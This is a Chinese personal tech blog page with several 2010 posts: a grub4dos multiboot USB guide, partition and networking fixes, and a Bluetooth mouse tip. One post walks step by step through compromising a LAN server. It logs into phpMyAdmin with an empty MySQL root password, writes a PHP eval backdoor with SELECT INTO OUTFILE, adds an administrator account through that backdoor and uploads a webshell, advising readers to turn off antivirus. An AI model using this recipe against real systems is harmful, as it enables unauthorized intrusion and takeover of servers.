寻觅生命中的那一片浅草......

发布者 夜行人

用grub4dos制作启动U盘

2010年10月28日 写评论 作者 夜行人

通过本文制作出来的U盘，实现以下系统的启动
1、 Ubuntu_10.10-x86_64_Live，并可以保存系统修改后的配置
2、 小马PE101010—功能非常齐全
3、 CDlinux社区标准版+无线破解
4、 Ubuntu_10.10_64_fast，能快速启动，但配置不能保存，这里主要演示下grub4dos可以直接挂载iso文件

4GU盘一个，越大越好，我的是：
Verbatim STORE N GO 4G

用到的软件
BOOTICE –用于安装grub4dos

Linux下的操作
为使Ubuntu系统的配置能够保存，我们需要创建一个卷标为casper-rw的分区
登录进Linux系统，对U盘进行分区，这里我创建了一个1G的分区用于保存Ubuntu系统的配置，分区的大小，主要是看你要安装的软件和保存文件的大小，空间越大，能够保存的配置就越多，我主要是安装了中文语言文件和一个浏览器。

这里，我的系统识别到U盘是/dev/sdb

fdisk /dev/sdb
如何分区，可以Google下，有个小提示是，fdisk分区时，是根据柱面来分的，1个柱面约等于8M的空间

格式化/dev/sdb2
mkfs.ext2 /dev/sdb2

设置/dev/sdb2的卷标
e2label /dev/sdb2 casper-rw

Windows下的操作
打开BOOTICE，选择U盘

这里有2种引导记录
主引导记录—针对只有1个分区的U盘或者移动硬盘
分区引导记录—针对有几个分区的U盘或者移动硬盘
由于我们对U盘进行了分区，所以，这里选择“分区引导记录”

选择第一个分区，默认选的就是 GRUB4DOS，点击“安装/配置”
弹出的对话框，直接点击“确定”即可

这时，U盘就是可启动的了
编写启动菜单文件menu.lst, 并放到U盘根目录，注意，kernel哪里都是一行的

timeout 30
default 0
gfxmenu /BOOT/message
title [01] Ubuntu_10.10-x86_64_Live
find –set-root /casper/vmlinuz
kernel /casper/vmlinuz boot=casper persistent file=/preseed/ubuntu.seed looptype=squashfs loop=/casper/filesystem.squashfs
initrd /casper/initrd.lz
title [02] 小马PE
find –set-root /WXPE/SETUPLDR.BIN
chainloader /WXPE/SETUPLDR.BIN (hd0)+1
title [03] 启动CDlinux社区标准版+无线破解
find –set-root /CDlinux/bzImage
kernel /CDlinux/bzImage quiet CDL_LANG=zh_CN.UTF-8 CDL_AMOUNT=yes
initrd /CDlinux/initrd
title [04] Ubuntu_10.10_64_fast
map (hd0,0)/Ubuntu_10.10_64.iso (hd32)
map –hook
root (hd0,0)
kernel (hd32)/casper/vmlinuz boot=casper iso-scan/filename=/Ubuntu_10.10_64.iso
initrd (hd32)/casper/initrd.lz
title [F9] 重启计算机
reboot
title [F10] 关闭计算机
halt

用虚拟光驱加载Ubuntu的镜像，把整个ISO的文件内容拷贝到U盘，这时，Ubuntu就准备好了

xmpe101010介绍
http://bbs.wuyou.com/viewthread.php?tid=168287
下载地址
http://u.115.com/file/t5e0236d5f

同样用虚拟光驱加载小马PE的文件，把minipe的文件拷贝到U盘根目录下，同时把wxpe目录下的ntdetect.exe拷到U盘根目录下，至此，小马PE就准备好了

CDlinux社区标准版+无线破解，我们需要从另外一个镜像里提取

无忧启动.多功能维护工具盘(无线破解).iso
下载地址：
http://u.115.com/file/t21e955d0a

同样用虚拟光驱加载无忧启动.多功能维护工具盘(无线破解).iso,在U盘根目录下建个boot目录，然后把ISO里的BOOT目录下的message拷贝到U盘的boot下，这个主要是用来美化菜单的
把iso里的CDlinux拷贝到U盘根目录下

把Ubuntu 10.10 64位的iso拷贝到U盘根目录下，Ubuntu的快速启动也准备好了，现在可以用U盘启动

扩展阅读
这里顺便说明下，其实用dd命令生成一个虚拟硬盘文件放到U盘，然后对该文件进行格式化也是可以的，但我自己制作的时候，Ubuntu无法启动，所以还是采用分区的方法，写下方法生成虚拟磁盘文件的方法
参考这篇文章
http://hi.baidu.com/cnjowang/blog/item/b58734869d5c6226c65cc3ea.html
dd if=/dev/zero of=casper-rw bs=1M count=1024
mkfs.ext2 -F casper-rw

Ubuntu的配置是否保存，关键看kernel行是否使用了persistent

已知问题：
CDlinux在部分机器无法启动

主要参考文章：
http://forum.ubuntu.org.cn/viewtopic.php?t=172013

Linux, MS

利用phpMyAdmin拿webshell

2010年10月23日 写评论 作者 夜行人

今天对局域网进行了安全检查

先用nmap对网段进行扫描，看下机器都监听了哪些端口，刚知道nmap可以扫描整个网段

nmap 192.168.16.0/24

恩，有结果了，将结果保存下来，查找那些开了80的，将IP复制到浏览器逐个尝试

终于被我找到一台

浏览器访问
http://192.168.16.19/
允许列目录的

页面底部有服务器信息
Apache/2.2.9 (APMServ) PHP/5.2.6 Server at 192.168.16.19 Port 80

用的是APMserv,应该有phpMyAdmin，自己下载了个APMserv，对比了下目录结构
访问
http://192.168.16.19/phpmyadmin/

成功了，而且MySQL的root帐号没有设置密码，直接登录进去了

这时需要做的是找出网站存放的系统路径，APMserv默认是有phpinfo.php
尝试访问http://192.168.16.19/phpinfo.php
提示没有文件，看来只能另外找办法

回到phpmyadmin，点击“显示 MySQL 的系统变量”

可以看到MySQL的目录：F:\APMServ5.2.6\MySQL5.1\

那phpMyAdmin的目录就是F:\APMServ5.2.6\www\phpMyAdmin\

通过数据库，导出一个PHP文件
随便选个数据库，然后执行以下的sql

Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES(‘<?php @eval($_POST[cmd])?>’);
select cmd from a into outfile ‘F:/APMServ5.2.6/www/phpMyAdmin/eval.php’;
Drop TABLE IF EXISTS a;

这是我们的后门
http://192.168.16.19/phpmyadmin/eval.php

加个系统帐号
http://192.168.16.19/phpmyadmin/eval.php?cmd=net user test test /add
将test设置成系统管理员
http://192.168.16.19/phpmyadmin/eval.php?cmd=net localgroup administrators test /add

可惜没有开远程桌面，不能登陆

那不登录，传个webshell上去，下载些文件回来

下载“lanker一句话PHP后门客户端3.0内部版”

注意，杀毒软件会认为lanker一句话PHP后门客户端3.0内部版.htm是病毒，注意先关闭杀毒软件

我们后面地址是http://192.168.16.19/phpmyadmin/eval.php

传test.php上去，访问http://192.168.16.19/phpmyadmin/test.php

这就似乎我们的webshell了

Security

Re-reading the partition table failed with error 16 Device or resource busy

2010年10月19日 写评论 作者 夜行人

I had this situation at office where I was told to re-partition an already existing partition. The situation was to get the below schema

/dev/sdb1 1 3040 24418768+ 83 Linux

/dev/sdb2 3041 6080 24418800 83 Linux
/dev/sdb3 6081 30515 196274137+ 83 Linux

to

/dev/sdb1 1 3040 24418768+ 83 Linux
/dev/sdb2 3041 6080 24418800 83 Linux
/dev/sdb3 6081 30515 196274137+ 5 Extended
/dev/sdb5 6081 18239 97667136 83 Linux
/dev/sdb6 18240 30515 98606938+ 83 Linux

Alright, now the partition /dev/sdb2 was in use and cannot be unmounted. So what happens when you finish the partitioning with fdisk ?

WARNING: Re-reading the partition table failed with error 16: Device or resource busy.
The kernel still uses the old table.
The new table will be used at the next reboot.
Syncing disks.

This happends, if you are using/mounted any partitions of the HDD which you just re-partitioned. Normally we do reboot the machine to get this right. But this is not always the easy way out, when you have something running on the machine/multiple users are on the machine working etc. So there comes the “parted” for rescue.

The package “parted” provides a tool called “partprobe“. This will do the magic for you, you just type in the command (see the man page for more info on partprobe) and this will give the information needed about your newly created partition to your kernel.

http://blog.csdn.net/xdstone1/archive/2009/02/24/3931191.aspx

Linux

彩影ARP防火墙(Antiarp)导致虚拟机无法上网

2010年09月26日 写评论 作者 夜行人

最近从host登录到vm非常慢，经常无法连接，登录进去也无法ping通网关，折腾大半天，发现是彩影ARP防火墙惹的祸，把它关了就一了百了
但又不能关，尝试了下修改配置，竟然可以了
右键托盘上彩影ARP防火墙的图标，选择基本配置，将“拦截本机对外ARP攻击”和“拦截本机对外伪造IP攻击（伪造源IP）”前面的勾去掉，点击确定，虚拟机上网就一溜一溜的了。

Network

Win 7下的蓝牙鼠标无响应

2010年09月26日 写评论 作者 夜行人

最近买了个蓝牙鼠标，动不动就无响应，非常不爽，
右键我的电脑–管理–Bluetooth无线电收发器，右键你的蓝牙设备，选择属性，再点电源管理，把允许计算机关闭此设备以节约电源前的勾去掉

Win 7，到处都是省电的配置，低碳？

也有人说是驱动问题：
去下个这个驱动应该可以解决 IVT_BlueSoleil_5.0_for_32bit_OS
我用的是32位的。如果你是64位就不知道下64位能解不了…….

参考文章
http://bbs.pcbeta.com/archiver/tid-580570.html

MS
Newer Entries
Older Entries
2025年十二月
一 二 三 四 五 六 日
« 5月    
1234567
891011121314
15161718192021
22232425262728
293031